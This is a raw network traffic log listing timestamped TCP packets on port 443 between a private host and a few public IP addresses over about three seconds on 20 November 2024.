Nov 20, 2024 00:19:38.508256912 CET	443	49957	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.512271881 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.512341022 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.512386084 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.512401104 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.512470007 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.512518883 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.513618946 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.513662100 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.513725996 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.514297009 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.514522076 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.514539003 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.514552116 CET	49956	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.514559031 CET	443	49956	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.514796972 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.514849901 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.515017986 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.515032053 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.515083075 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.521514893 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.521541119 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.521641970 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.522308111 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.522324085 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.522459030 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.522491932 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.522492886 CET	49955	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.522500038 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.522517920 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.522552967 CET	443	49955	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.522830009 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.522841930 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.526654005 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.526818037 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.526882887 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.527066946 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.527076006 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.527091026 CET	49958	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.527095079 CET	443	49958	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.527848005 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.527856112 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.527906895 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.528531075 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.528541088 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.531635046 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.531657934 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:38.531730890 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.532963037 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:38.532974005 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.185631990 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.186188936 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.186213017 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.186769962 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.186779976 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.198226929 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.198925018 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.199464083 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.199481010 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.199876070 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.199879885 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.201284885 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.201308012 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.201802015 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.201807976 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.202169895 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.202470064 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.202483892 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.203197956 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.203202009 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.224260092 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.241988897 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.242048025 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.243004084 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.243022919 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.290693045 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.290884972 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.290960073 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.291134119 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.291151047 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.291217089 CET	49961	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.291227102 CET	443	49961	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.294186115 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.294210911 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.294279099 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.294795990 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.294827938 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.300097942 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.300384045 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.300463915 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.300463915 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.300501108 CET	49963	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.300514936 CET	443	49963	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.303396940 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.303423882 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.303474903 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.303606033 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.303617954 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.306660891 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.307044029 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.307096004 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.307140112 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.307152987 CET	49962	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.307173967 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.307180882 CET	443	49962	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.308090925 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.308167934 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.308440924 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.308440924 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.308454990 CET	49960	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.308459044 CET	443	49960	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.309748888 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.309854031 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.309921026 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.313429117 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.313463926 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.314913034 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.314946890 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.315002918 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.315124035 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.315138102 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.359427929 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.363441944 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.363512039 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.367252111 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.367295027 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.367367983 CET	49959	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.367384911 CET	443	49959	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.370218992 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.370266914 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.370405912 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.370603085 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.370635986 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.966142893 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.968364954 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.968381882 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.969327927 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.969332933 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.972245932 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.972614050 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.972642899 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.973048925 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.973423004 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.973434925 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.973781109 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.973799944 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.974435091 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.974441051 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.999219894 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:39.999898911 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:39.999917030 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.000304937 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.000314951 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.043915033 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.044616938 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.044684887 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.046230078 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.046236992 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.084372997 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.084479094 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.084511042 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.084573984 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.084671974 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.084770918 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.085359097 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.091505051 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.091516018 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.091541052 CET	49979	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.091546059 CET	443	49979	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.092704058 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.092827082 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.092829943 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.093141079 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.096999884 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.096999884 CET	49981	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.097028017 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.097040892 CET	443	49981	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.098453999 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.098507881 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.098545074 CET	49978	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.098561049 CET	443	49978	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.101624012 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.101634979 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.101638079 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.101672888 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.102219105 CET	49993	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.102253914 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.102272034 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.102278948 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.102386951 CET	49993	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.102762938 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.102777958 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.102925062 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.102953911 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.102994919 CET	49993	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.103007078 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.105346918 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.107412100 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.107469082 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.107652903 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.111361027 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.111361027 CET	49980	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.111413002 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.111445904 CET	443	49980	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.118361950 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.118381977 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.118546009 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.118624926 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.118639946 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.159739971 CET	443	49787	173.222.162.64	192.168.2.6
Nov 20, 2024 00:19:40.159826040 CET	49787	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:40.179780960 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.180233002 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.180360079 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.180402040 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.180603981 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.180603981 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.182313919 CET	49982	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.182356119 CET	443	49982	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.184643030 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.184663057 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.185302019 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.185678959 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.185692072 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.763134956 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.763210058 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.768321037 CET	49993	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.768337011 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.784161091 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.816781044 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.820858002 CET	49993	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.820863008 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.821577072 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.821594000 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.822302103 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.822308064 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.823280096 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.823295116 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.823942900 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.823949099 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.854417086 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.865021944 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.865071058 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.869280100 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.869294882 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.876823902 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.876833916 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.884239912 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.884243965 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.923263073 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.923347950 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.923420906 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.923424006 CET	49993	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.923465967 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.924036980 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.924094915 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.926701069 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.927360058 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.928093910 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.976610899 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.976686001 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.976790905 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.976793051 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.980282068 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.987113953 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.987159014 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.987236977 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:40.987246037 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.987344027 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:40.988240957 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.077946901 CET	49993	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.077960968 CET	443	49993	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.082248926 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.082254887 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.082264900 CET	49995	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.082268953 CET	443	49995	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.082788944 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.082798958 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.082823038 CET	49994	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.082828045 CET	443	49994	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.083137989 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.083144903 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.083157063 CET	49992	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.083161116 CET	443	49992	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.085649967 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.085649967 CET	49991	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.085678101 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.085705042 CET	443	49991	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.088196039 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.088218927 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.088274002 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.089940071 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.089955091 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.091263056 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.091281891 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.091561079 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.091717005 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.091723919 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.095422029 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.095448017 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.095552921 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.095784903 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.095810890 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.095868111 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.097035885 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.097047091 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.097105980 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.097546101 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.097558975 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.097685099 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.097703934 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.098345995 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.098359108 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.761234999 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.761742115 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.761756897 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.762180090 CET	50004	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.762185097 CET	443	50004	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.772558928 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.773010969 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.773042917 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.773436069 CET	50003	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.773447990 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.775234938 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.775566101 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.775599003 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.775945902 CET	50005	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.775953054 CET	443	50005	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.785310030 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.785605907 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.785617113 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.785983086 CET	50002	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.785989046 CET	443	50002	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.794809103 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.795217037 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.795231104 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.795633078 CET	50006	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:41.795638084 CET	443	50006	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.877207041 CET	443	50003	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:41.877392054 CET	443	50003	13.107.246.45	192.168.2.6
